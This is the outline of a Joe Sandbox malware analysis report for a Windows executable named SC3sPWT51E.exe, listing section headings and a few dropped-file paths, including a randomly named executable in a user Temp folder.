Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\IYMX3DP1MKU29JHQR34PWXTNMKFL8CK.exe

C:\Windows\appcompat\Programs\Amcache.hve

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
SC3sPWT51E.exe